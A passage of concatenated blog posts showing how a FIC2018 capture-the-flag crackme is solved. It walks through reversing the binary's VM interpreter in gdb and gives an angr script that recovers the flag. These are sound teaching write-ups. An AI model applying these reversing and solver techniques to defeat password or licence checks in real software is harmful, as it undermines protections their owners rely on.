Basically, when you implement a VM, you have to create a virtual CPU. This virtual CPU will have its own registers, memory, CPU flags. This virtual CPU will fetch, decode and execute instructions. Instructions are sequence of bits (for simplification, imagine a byte), and instructions can take 0 to N arguments.</div>
<div>
<div>
if in pseudo code we want to make <i><b>13 xor 37</b></i>, we can imagine this sequence instructions:</div>
<div>
<ul>
<li>PUT 13 in register (say, R1)</li>
<li>PUT 37 in another register (say, R2)</li>
<li>XOR R1 with R2</li>
</ul>
</div>
<div>
this is just encoding after it. If <b><i>PUT</i></b> is encoding with a 0x42, register by their numbers, and <b><i>XOR</i></b> is encoded as a 0xff, the logical sequence will be:</div>
<div>
<ul>
<li>0x42 0x13 0x1</li>
<li>0x42 0x37 0x2</li>
<li>0xff 0x1 0x2</li>
</ul>
</div>
<div>
Easy. That's just conventions. The program is: <span style="font-family: "courier new" , "courier" , monospace;">0x421301423702ff0102</span></div>
<div>
<br /></div>
<div>
And the CPU will work with this . Instruction pointer is at offset 0x00. </div>
<div>
<ul>
<li>Fetch: 0x42</li>
<li>Decode: that's a push. It takes 2 arguments: value, then register. Increase instruction pointer by 3..</li>
<li>Execute: moving value at (instruction pointer +1) to register (instruction pointer +2).</li>
</ul>
</div>
<div>
<br /></div>
<div>
Next:</div>
<div>
<ul>
<li>Fetch 0x42</li>
<li>and so on..</li>
</ul>
</div>
<div>
<br /></div>
<div>
So if you want to break a VM, you have to learn where the instruction pointer is, where the registers are stored, and how to decode assembly. You have to figure out that 0x42 is a push in the previous example. How? That's the difficulty.</div>
<div>
<br /></div>
<div>
Now, back on our crackme. This is a VM. So, we have the program which emulate a CPU. So, we have to find a big loop: the fetch-decode-execute loop.
<a href="https://media1.tenor.com/images/a665bc21fdb265f8f7ffe1bb045a19cb/tenor.gif?itemid=9198701" target="_blank">Once found, you'll know where the instruction pointer is, and where are the instructions</a>.<br />
<br /></div>
<div>
Next, you'll have to understand the instructions. Once done, this is even more easy: understand program logic, break it, solve the chall, <a href="https://hips.hearstapps.com/ell.h-cdn.co/assets/16/30/1469799058-obama-wink.gif?fill=160:126&resize=320:*" target="_blank">gain points</a>.<br />
<br />
<h3>
2/ Find where things takes place</h3>
take time to read the assembly, and follow the dots 1,2,3..<br />
<br /></div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> gdb -q a.out
<span style="color: #888888;">Reading symbols from a.out...(no debugging symbols found)...done.</span>
<span style="color: #888888;">gdb$ disass main</span>
<span style="color: #888888;">Dump of assembler code for function main:</span>
<span style="color: #888888;"> 0x0000000000400530 <+0>: push %rbx</span>
<span style="color: #888888;"> 0x0000000000400531 <+1>: mov $0x1000,%edi</span>
<span style="color: #888888;"> 0x0000000000400536 <+6>: callq 0x400510 <malloc@plt></span>
<span style="color: #888888;"> 0x000000000040053b <+11>: or $0xffffffff,%edx</span>
<span style="color: #888888;"> 0x000000000040053e <+14>: test %rax,%rax</span>
<span style="color: #888888;"> 0x0000000000400541 <+17>: mov %rax,0x2023d0(%rip) # 0x602918 <stack></span>
<span style="color: #888888;"> 0x0000000000400548 <+24>: je 0x40059a <main+106></span>
<span style="color: #888888;">//Here is a big loop. The fetch-decode-execute one, probably.</span>
<span style="color: #888888;">//We read something at 0x602914 (regs+20)</span>
<span style="color: #888888;">1. 0x000000000040054a <+26>: movslq 0x2023c3(%rip),%rax # 0x602914 <regs+20></span>
<span style="color: #888888;"> 0x0000000000400551 <+33>: cmpb $0xee,0x601440(%rax) //if equals to 0xee goto end</span>
<span style="color: #888888;"> 0x0000000000400558 <+40>: je 0x40058c <main+92></span>
<span style="color: #888888;">3. 0x000000000040055a <+42>: mov $0x602800,%ebx //ebx will get increments from 0x10 to 0x10</span>
<span style="color: #888888;"> 0x000000000040055f <+47>: mov (%rbx),%edx </span>
<span style="color: #888888;"> 0x0000000000400561 <+49>: movslq 0x2023ac(%rip),%rax # 0x602914 <regs+20></span>
<span style="color: #888888;"> 0x0000000000400568 <+56>: test %edx,%edx </span>
<span style="color: #888888;"> 0x000000000040056a <+58>: je 0x400582 <main+82> </span>
<span style="color: #888888;">4. 0x000000000040056c <+60>: movzbl 0x601440(%rax),%eax //we fetch the byte @0x601440+rax</span>
<span style="color: #888888;"> 0x0000000000400573 <+67>: cmp %edx,%eax //if eax==edx we call something. That's decode part.</span>
<span style="color: #888888;"> 0x0000000000400575 <+69>: jne 0x40057c <main+76></span>
<span style="color: #888888;"> 0x0000000000400577 <+71>: xor %eax,%eax</span>
<span style="color: #888888;">5. 0x0000000000400579 <+73>: callq *0x8(%rbx) //the call. Probably the execute part.</span>
<span style="color: #888888;"> 0x000000000040057c <+76>: add $0x10,%rbx</span>
<span style="color: #888888;"> 0x0000000000400580 <+80>: jmp 0x40055f <main+47> </span>
<span style="color: #888888;"> 0x0000000000400582 <+82>: inc %eax </span>
<span style="color: #888888;">//The regs+20 gets increased one by one -> so we step in the VM code probably.</span>
<span style="color: #888888;">2. 0x0000000000400584 <+84>: mov %eax,0x20238a(%rip) # 0x602914 <regs+20> </span>
<span style="color: #888888;"> 0x000000000040058a <+90>: jmp 0x40054a <main+26></span>
<span style="color: #888888;">//from here, this is the end of the program</span>
<span style="color: #888888;"> 0x000000000040058c <+92>: mov 0x202385(%rip),%rdi # 0x602918 <stack></span>
<span style="color: #888888;"> 0x0000000000400593 <+99>: callq 0x4004c0 <free@plt></span>
<span style="color: #888888;"> 0x0000000000400598 <+104>: xor %edx,%edx</span>
<span style="color: #888888;"> 0x000000000040059a <+106>: mov %edx,%eax</span>
<span style="color: #888888;"> 0x000000000040059c <+108>: pop %rbx</span>
<span style="color: #888888;"> 0x000000000040059d <+109>: retq </span>
<span style="color: #888888;">End of assembler dump.</span>
<span style="color: #888888;">gdb$ </span>
</pre>
</div>
</div>
<br />
We almost understand how this VM works.<br />
<br />
<ul>
<li>The instruction pointer is at <span style="font-family: "courier new" , "courier" , monospace;">regs+20 (0x602914)</span>, we fetch the instruction at 0<span style="font-family: "courier new" , "courier" , monospace;">x601440+the value in regs+20</span>.</li>
<li>The byte is read, then compared to something on <span style="font-family: "courier new" , "courier" , monospace;">0x602800</span>, <span style="font-family: "courier new" , "courier" , monospace;">0x602810</span>, <span style="font-family: "courier new" , "courier" , monospace;">0x602820</span> and so on. We say this is the decode part.</li>
<li>Then, the <span style="font-family: "courier new" , "courier" , monospace;">callq rbx+0x8</span> is the execute part.</li>
</ul>
<br />
<a href="https://media1.tenor.com/images/b9d48ec47583229ab5583731a2562b61/tenor.gif" target="_blank">Fetch, decode, execute</a>.<br />
<br />
We know how the virtual CPU works. Lets dive into details. First, what do we have around the instruction pointer:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ x/16wx 0x601440</span>
<span style="color: #888888;">0x601440 <g_data>: 0x00000000 0x00000000 0x00000000 0x00000000</span>
<span style="color: #888888;">0x601450 <g_data+16>: 0x00000000 0x00000000 0x00000000 0x00000000</span>
<span style="color: #888888;">0x601460 <g_data+32>: 0x00000000 0x00000000 0x00000000 0x00000000</span>
<span style="color: #888888;">0x601470 <g_data+48>: 0x00000000 0x00000000 0x00000000 0x00000000</span>
<span style="color: #888888;">gdb$</span>
</pre>
</div>
<br />
We have a lot of 00 (a NOP maybe?). What next?
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ x/160wx 0x601440</span>
<span style="color: #888888;">0x601440 <g_data>: 0x00000000 0x00000000 0x00000000 0x00000000</span>
<span style="color: #888888;"> (snip ... snip ...snip)</span>
<span style="color: #888888;">0x601570 <g_data+304>: 0x00000000 0x0001e155 0x0c0d0300 0x0000e255</span>
<span style="color: #888888;">0x601580 <g_data+320>: 0x0cf20000 0x0000bb33 0xddf20000 0xcc1300bb</span>
<span style="color: #888888;">0x601590 <g_data+336>: 0x000000bb 0xbbdd0100 0xbbcc3700 0x00000000</span>
<span style="color: #888888;">0x6015a0 <g_data+352>: 0x00bbdd01 0x00bbccd3 0x01000000 0x3d00bbdd</span>
<span style="color: #888888;">0x6015b0 <g_data+368>: 0x0000bbcc 0xdd010000 0xccc000bb 0x000000bb</span>
<span style="color: #888888;">0x6015c0 <g_data+384>: 0xbbdd0100 0xbbccde00 0x00000000 0x00bbdd01</span>
<span style="color: #888888;">0x6015d0 <g_data+400>: 0x00bbccab 0x01000000 0xad00bbdd 0x0000bbcc</span>
<span style="color: #888888;">0x6015e0 <g_data+416>: 0xdd010000 0xcc1d00bb 0x000000bb 0xbbdd0100</span>
<span style="color: #888888;">0x6015f0 <g_data+432>: 0xbbccea00 0x00000000 0x00bbdd01 0x00bbcc13</span>
<span style="color: #888888;">0x601600 <g_data+448>: 0x01000000 0x3700bbdd 0x0000bbcc 0xaa010000</span>
<span style="color: #888888;">0x601610 <g_data+464>: 0x000000bb 0xbb33f200 0x00000001 0x02bbaa7a</span>
<span style="color: #888888;">0x601620 <g_data+480>: 0xf3000000 0x0003bb33 0x66600000 0x990100ab</span>
<span style="color: #888888;">0x601630 <g_data+496>: 0x020000bb 0x02ab66f9 0x00bb9903 0xaaf90200</span>
<span style="color: #888888;">0x601640 <g_data+512>: 0x000000bb 0xbb33f400 0x00000001 0x02bbaab2</span>
<span style="color: #888888;">0x601650 <g_data+528>: 0xf5000000 0x0003bb33 0x664e0000 0x990100ab</span>
<span style="color: #888888;">0x601660 <g_data+544>: 0x020000bb 0x02ab66f9 0x00bb9903 0xaaf90200</span>
<span style="color: #888888;">0x601670 <g_data+560>: 0x000000bb 0xbb33f600 0x00000001 0x02bbaab4</span>
<span style="color: #888888;">0x601680 <g_data+576>: 0xf7000000 0x0003bb33 0x66bb0000 0x990100ab</span>
<span style="color: #888888;">0x601690 <g_data+592>: 0x020000bb 0x02ab66f9 0x00bb9903 0xaaf90200</span>
<span style="color: #888888;">0x6016a0 <g_data+608>: 0x000000bb 0xbb33f800 0x00000001 0x02bbaae6</span>
<span style="color: #888888;">0x6016b0 <g_data+624>: 0xf9000000 0x0003bb33 0x66d40000 0x990100ab</span>
</pre>
</div>
<br />
The first non-zero byte is 0x55. This is probably the beginning of the code.<br />
Now the decode part, if we look at what we have in 0x602800:
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ x/20wx 0x602800</span>
<span style="color: #888888;">0x602800 <vm_func>: 0x00000011 0x00000000 0x00400696 0x00000000</span>
<span style="color: #888888;">0x602810 <vm_func+16>: 0x00000099 0x00000000 0x00400a40 0x00000000</span>
<span style="color: #888888;">0x602820 <vm_func+32>: 0x00000022 0x00000000 0x00400798 0x00000000</span>
<span style="color: #888888;">0x602830 <vm_func+48>: 0x00000033 0x00000000 0x00400697 0x00000000</span>
<span style="color: #888888;">0x602840 <vm_func+64>: 0x00000044 0x00000000 0x00400799 0x00000000</span>
<span style="color: #888888;">gdb$ x/x 0x00400696 //What is there?</span>
<span style="color: #888888;">0x400696 <vm_ret>: 0x77058bc3 // oooh, the beginning of vm_ret :)</span>
<span style="color: #888888;">gdb$ x/x 0x00400a40</span>
<span style="color: #888888;">0x400a40 <vm_jnz>: 0x1ece058b //and vm_jnz, and the others ^_^</span>
<span style="color: #888888;">gdb$</span>
</pre>
</div>
<br />
Ok. So the program reads a byte in the g_data part. Then it calls a function depending on this byte.<br />
<br />
That's really, really a good point. We have a byte, and a function. Doesn't take long to understand that this the assembly:<br />
<br />
<ul>
<li>0x11 is vm_ret RETURN</li>
<li>0x99 is vm_jnz JUMP if NON ZERO</li>
<li>0x22 is vm_cll CALL</li>
<li>0x33 is vm_mov MOVE</li>
<li>0x44 is vm_push PUSH</li>
<li>0x55 is vm_ecl ??</li>
<li>0x66 is vm_cmp COMPARE</li>
<li>0x77 is vm_jmp JUMP</li>
<li>0x88 is vm_jzz JUMP if ZERO</li>
<li>0xaa is vm_mvp ?? move? pointer maybe? </li>
<li>0xbb is vm_and AND</li>
<li>0xcc is vm_add ADD</li>
<li>0xdd is vm_xor XOR</li>
<li>0x00 is NOP (we guessed it)</li>
<li>0xee is END (we guessed it also)</li>
</ul>
<br />
Ladies and gentlemen, the asm of the VM.<br />
<div>
<br /></div>
<h3>
3/ Let see what happens</h3>
<div>
So, the first byte is vm_ecl. In order to quickly run the binary, we break at 0x000000000040054a only if $rax!=0</div>
<div>
<br /></div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ b * 0x0000000000400573 if $rax!=0</span>
<span style="color: #888888;">Breakpoint 3 at 0x400573</span>
<span style="color: #888888;">gdb$ c</span>
<span style="color: #888888;">Continuing.</span>
<span style="color: #888888;">gdb$ info reg rax</span>
<span style="color: #888888;">rax 0x55 0x55</span>
<span style="color: #888888;">gdb$ disass vm_ecl</span>
<span style="color: #888888;">Dump of assembler code for function vm_ecl:</span>
<span style="color: #888888;"> 0x0000000000400d28 <+0>: mov eax,DWORD PTR [rip+0x201be6] # 0x602914 <regs+20></span>
<span style="color: #888888;"> 0x0000000000400d2e <+6>: lea edx,[rax+0x1]</span>
<span style="color: #888888;"> 0x0000000000400d31 <+9>: mov DWORD PTR [rip+0x201bdd],edx # 0x602914 <regs+20></span>
<span style="color: #888888;"> 0x0000000000400d37 <+15>: movsxd rdx,edx</span>
<span style="color: #888888;"> 0x0000000000400d3a <+18>: mov dl,BYTE PTR [rdx+0x601440]</span>
<span style="color: #888888;"> 0x0000000000400d40 <+24>: cmp dl,0xe1</span>
<span style="color: #888888;"> 0x0000000000400d43 <+27>: je 0x400d6f <vm_ecl+71></span>
<span style="color: #888888;"> 0x0000000000400d45 <+29>: cmp dl,0xe2</span>
<span style="color: #888888;"> 0x0000000000400d48 <+32>: je 0x400de2 <vm_ecl+186></span>
<span style="color: #888888;"> 0x0000000000400d4e <+38>: cmp dl,0xe0</span>
<span style="color: #888888;"> 0x0000000000400d51 <+41>: jne 0x400e55 <vm_ecl+301></span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;"> 0x0000000000400d6a <+66>: call 0x400520 <exit@plt></span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;"> 0x0000000000400ddd <+181>: jmp 0x4004d0 <write@plt></span>
<span style="color: #888888;">(...)</span>
<span style="color: #888888;"> 0x0000000000400e50 <+296>: jmp 0x4004e0 <read@plt></span>
</pre>
</div>
<br />
Well, a switch case. If next byte is 0xe1 0xe2 or 0xe0, this function behaves differently. We have read, write and exit function in it. That should be for input/output. Let's step over for the moment, and see what's happening:
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ stepo</span>
<span style="color: #888888;">Temporary breakpoint 4 at 0x40057c</span>
<span style="color: #888888;">ENTER PASS :</span>
<span style="color: #888888;">gdb$</span>
</pre>
</div>
<br />
That's it. Let's go back to the VM disassembly a bit. We had:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">0x601570 <g_data+304>: 0x00000000 0x0001e155 0x0c0d0300 0x0000e255</span>
<span style="color: #888888;">0x601580 <g_data+320>: 0x0cf20000 0x0000bb33 0xddf20000 0xcc1300bb</span>
</pre>
</div>
<br />
Put in right order:
55 e1 01 00 00 03 0d 0c 55 e2 00 00 f2 cf 33 bb...
55 is I/O, e1 seems to be output, numbers after are unknown (adress of the string probably), and next instructions should be 55 e2 (waiting for input). Let see the next instruction:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ info reg rax</span>
<span style="color: #888888;">rax 0x0c 0x0c</span>
<span style="color: #888888;">gdb$</span>
</pre>
</div>
<br />
Next instructions is 0x0c ?? As if the instruction pointer missed a step (?).<br />
In our case, that's not really important because 0xc is not a valid instruction, so it will loop around all vm_functions, the iterate, then read 0x55. Let continue, stepover the vm_ecl function:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ stepo</span>
<span style="color: #888888;">Temporary breakpoint 5 at 0x40057c</span>
<span style="color: #888888;">ABCDEFABCDEF //entered myself</span>
<span style="color: #888888;">0x0000000000400580 in main ()</span>
<span style="color: #888888;">gdb$</span>
<span style="color: #888888;">gdb$ x/x 0x602914</span>
<span style="color: #888888;">0x602914 <regs+20>: 0x00000143 //offset of the instruction pointer</span>
<span style="color: #888888;">gdb$ x/wx 0x601440+0x143</span>
<span style="color: #888888;">0x601583 <g_data+323>: 0x00bb330c //the instruction pointer</span>
<span style="color: #888888;">gdb$</span>
</pre>
</div>
<br />
and once again, the 0x0c invalid instruction. vm_ecl doesn't increment the instruction pointer to the next instruction. The VM is built on a way that it doesn't matter, as long as the instruction is invalid... This is kind of a bug!<br />
<br />
Let's fast forward a bit, until a 0xdd instruction (XOR):<br />
<br />
Now, a bit of refactoring, this is just the VM assembly extracted from g_data:<br />
<span style="font-family: "courier new" , "courier" , monospace;">0xdd 0xbb 0x00 0x13 //vm_xor</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xcc 0xbb 0x00 0x00 0x00 0x00 0x01 //vm_add</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xdd 0xbb 0x00 0x37 //vm_xor</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xcc 0xbb 0x00 0x00 0x00 0x00 0x01 //vm_add</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xdd 0xbb 0x00 0xd3</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xcc 0xbb 0x00 0x00 0x00 0x00 0x01</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xdd 0xbb 0x00 0x3d</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xcc 0xbb 0x00 0x00 0x00 0x00 0x01</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xdd 0xbb 0x00 0xc0</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0xcc 0xbb 0x00 0x00 0x00 0x00 0x01</span><br />
<br />
Seeing a pattern? 0xbb shoud be an offset to somewhere, XOR is the key, and we slide this offset one by one, in pseudo code, it becomes:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">xor(pass[i], 0x13)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">i = i+1</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">xor(pass[i], 0x37)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">i = i+1</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">etc...</span><br />
<br />
We extract the key: 0x1337d33dc0 just by reading the vm assembly.<br />
<br />
And what about the instruction pointer? Does it point to the right instruction after a vm_xor?<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">gdb$ info reg rax</span>
<span style="color: #888888;">rax 0xcc 0xcc</span>
<span style="color: #888888;">gdb$</span>
</pre>
</div>
<br />
yep, it works, so the vm_xor instruction advance the instruction pointer right.<br />
<br />
The next steps are to understand other vm_XXX instructions, where data is stored, what is done with it, and so on.<br />
<br />
Just step through the function and mark all known addresses (base address, offsets, registers, CPU flags, and you'll quickly be able to reverse any VM code. Follow the vm_cmp instruction, learn where are the offsets, and compare yourself the bytes.<br />
<br />
<h3>
4/ Why the crackme accepts more than one solution?</h3>
As we saw, sometimes, the instruction pointer is not incremented to the next instruction. If the instruction is illegal, nothing happen. But if the instruction pointer falls on a known instruction, a different behavior is done.<br />
<a href="https://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-easylazy-way-fic2018.html?showComment=1516981752476#c7450772359783059749" target="_blank">0xF4b found that the vm_mov is also buggy</a>, and an 0xbb instruction is called (vm_and) instead of the vm_cmp, and the JNZ is never called afterwards.<br />
<br />
<h3>
5/ Conclusion</h3>
Thank you for scrolling this far ;-) <a href="https://thumbs.gfycat.com/BoldCharmingGonolek-max-1mb.gif" target="_blank">Learn to pwn crackme</a>.<br />
If you want the a.out file to play with it, <a href="https://twitter.com/0xmitsurugi" target="_blank">drop me a DM</a> or email.<br />
<br />
<div style="text-align: right;">
<i>Those who want to do will find a way. </i></div>
<div style="text-align: right;">
<i>Those who don't want to do search an excuse.</i></div>
<div style="text-align: right;">
<i>0xMitsurugi</i></div>
<br />Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-23525379055750402902018-01-28T22:40:00.000+01:002018-01-28T22:40:14.770+01:00Solving a CTF chall the [crazy|OMG] way (FIC2018)This is the third blogpost about the same crackme, you can read the first two ones here:<br />
<ul>
<li><a href="http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-easylazy-way-fic2018.html">http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-easylazy-way-fic2018.html</a></li>
<li><a href="http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-hardgood-way-fic2018.html">http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-hardgood-way-fic2018.html</a></li>
</ul>
This time, an extremely simple solution. You thought that pin was almost cheating? Get prepared to see worse.<br />
<h3>
1/ Basic recon</h3>
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ls -l a.out
<span style="color: #888888;">-rwxr-xr-x 1 mitsurugi mitsurugi 15568 janv. 24 14:30 a.out</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> strings a.out
<span style="color: #888888;">/lib64/ld-linux-x86-64.so.2</span>
<span style="color: #888888;">libc.so.6</span>
<span style="color: #888888;">exit</span>
<span style="color: #888888;">read</span>
<span style="color: #888888;">malloc</span>
<span style="color: #888888;">__libc_start_main</span>
<span style="color: #888888;">write</span>
<span style="color: #888888;">free</span>
<span style="color: #888888;">__gmon_start__</span>
<span style="color: #888888;">GLIBC_2.2.5</span>
<span style="color: #888888;">tPHc</span>
<span style="color: #888888;">fffff.</span>
<span style="color: #888888;">[]A\A]A^A_</span>
<span style="color: #888888;">;*3$"</span>
<span style="color: #888888;">FAILEDnWINnENTER PASS : //look this line</span>
<span style="color: #888888;"> (... snip snip snip ...)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
So, we imagine that FAILED means <a href="http://i0.kym-cdn.com/entries/icons/original/000/000/015/oreally.jpg" target="_blank">fail</a> and WIN is the winning message, right?<br />
<br />
<b>That's all we need to know! </b><br />
Yes. gdb? nope. asm? nope. reversing capabilities? nope. Lazinest? A lot.<br />
<br />
<h3>
2/ Hey, you like surprises and python?</h3>
you know <a href="https://github.com/angr" target="_blank">angr</a>, right? If not, check this awesome program. It can explore binaries, instrument them, modify them on the fly, explore all paths, and all by itself!<br />
<br />
It blews my minds me on this:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">#! /usr/bin/env python</span>
<span style="color: #888888;"># You are not judged because you fall. </span>
<span style="color: #888888;"># You are judged by the way you get up after a fall.</span>
<span style="color: #888888;"># 0xMitsurugi</span>
<span style="color: #008800; font-weight: bold;">import</span> <span style="color: #0e84b5; font-weight: bold;">angr</span><span style="color: #333333;">,</span> <span style="color: #0e84b5; font-weight: bold;">datetime</span>
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">"Starting"</span>
start <span style="color: #333333;">=</span> datetime<span style="color: #333333;">.</span>datetime<span style="color: #333333;">.</span>now()
<span style="color: #888888;">#Loading the binary</span>
proj <span style="color: #333333;">=</span> angr<span style="color: #333333;">.</span>Project(<span style="background-color: #fff0f0;">'./a.out'</span>)
<span style="color: #888888;">#Create a simulation manager</span>
simgr <span style="color: #333333;">=</span> proj<span style="color: #333333;">.</span>factory<span style="color: #333333;">.</span>simgr()
<span style="color: #888888;">#We search the word WIN somewhere in the file descriptor 1 (standard output)</span>
simgr<span style="color: #333333;">.</span>explore(find<span style="color: #333333;">=</span><span style="color: #008800; font-weight: bold;">lambda</span> s: <span style="background-color: #fff0f0;">"WIN"</span> <span style="color: black; font-weight: bold;">in</span> s<span style="color: #333333;">.</span>posix<span style="color: #333333;">.</span>dumps(<span style="color: #0000dd; font-weight: bold;">1</span>))
<span style="color: #888888;">#angr works hard here ...</span>
<span style="color: #888888;">#Let's see which input produce a 'WIN' in output</span>
s <span style="color: #333333;">=</span> simgr<span style="color: #333333;">.</span>found[<span style="color: #0000dd; font-weight: bold;">0</span>]
<span style="color: #888888;"># file descriptor 0 is standard input</span>
flag <span style="color: #333333;">=</span> s<span style="color: #333333;">.</span>posix<span style="color: #333333;">.</span>dumps(<span style="color: #0000dd; font-weight: bold;">0</span>)
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">"The flag is: </span><span style="background-color: #eeeeee;">%s</span><span style="background-color: #fff0f0;"> "</span> <span style="color: #333333;">%</span> flag
<span style="color: #888888;">#At least we know this challenge is buggy..</span>
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">"</span><span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\n</span><span style="background-color: #fff0f0;">We know this challenge is bugged :("</span>
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">"Flag in hex is: </span><span style="background-color: #eeeeee;">%s</span><span style="background-color: #fff0f0;">"</span> <span style="color: #333333;">%</span> (flag<span style="color: #333333;">.</span>encode(<span style="background-color: #fff0f0;">'hex'</span>))
end <span style="color: #333333;">=</span> datetime<span style="color: #333333;">.</span>datetime<span style="color: #333333;">.</span>now()
<span style="color: #008800; font-weight: bold;">print</span> <span style="background-color: #fff0f0;">"Time used: </span><span style="background-color: #eeeeee;">%s</span><span style="background-color: #fff0f0;">"</span> <span style="color: #333333;">%</span> (end <span style="color: #333333;">-</span> start)
</pre>
</div>
<br />
Basically we tell angr to open the binary, and explore it (like fuzzing, but better :) ) until it found the word "WIN" in the standard output. And then, we print the standard input which generates this output. Sounds crazy?<br />
<br />
And, as you guess, in only 7 minutes, without any prior knowledge:
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span> ./solver.py
<span style="color: #888888;">Starting</span>
<span style="color: #888888;">The flag is: iWaseMyTime </span>
<span style="color: #888888;">We know this challenge is bugged :(</span>
<span style="color: #888888;">Flag in hex is: 6957617300654d7954696d65</span>
<span style="color: #888888;">Time used: 0:07:22.198219</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@dojo:~/chall/FIC2018/v24$</span>
</pre>
</div>
<br />
Without the bug, angr would have found the good flag, but it remains impressive: the angr solution works. The only thing to know is that the binary prints WIN for victory, which could be found with a strings command..<br />
<br />
<div style="text-align: right;">
<i><span style="font-size: x-small;">Ready? Prepare yourself!</span></i></div>
<div style="text-align: right;">
<i><span style="font-size: x-small;">0xMitsurugi</span></i></div>
<div style="text-align: right;">
<br /></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-91157489985637750302018-01-28T22:23:00.003+01:002018-01-28T22:23:57.771+01:00Solving a CTF chall the [hard|good] way (FIC2018)Hope you liked my last blogpost <a href="http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-easylazy-way-fic2018.html">http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-easylazy-way-fic2018.html</a> , this is the same binary, with a different analysis.<br />
<br />
This crackme is simple enough to use it for learning purpose. I'm taking it for another round of reversing. This time, it's gdb-fu! In the CTF, this was my first approach, but pin was faster :-)<br />
<br />
<h3>
1/ Basics</h3>
